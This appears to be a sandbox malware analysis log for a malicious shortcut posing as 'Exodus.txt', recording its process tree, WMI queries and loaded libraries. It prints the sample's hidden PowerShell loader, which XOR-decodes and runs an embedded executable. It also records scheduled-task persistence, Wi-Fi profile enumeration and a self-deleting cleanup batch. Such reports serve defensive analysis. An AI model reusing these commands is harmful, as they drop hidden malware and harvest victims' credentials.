Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 5268)
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 5268)

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: tmpA328.tmp.dat.4.dr, tmp5800.tmp.dat.4.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Exodus.txt.lnk	ReversingLabs: Detection: 55%
Source: Exodus.txt.lnk	Virustotal: Detection: 55%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^\| where-object {$_.length -eq 0x00012126} ^\| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^\| select -Skip 002838)) -Encoding Byte; ^& $path;
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe"
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2252,i,9030192651721464154,16366831422283657201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 5268
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1984,i,4100706222337761763,17531368558557990914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2252,i,9030192651721464154,16366831422283657201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 5268
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1984,i,4100706222337761763,17531368558557990914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
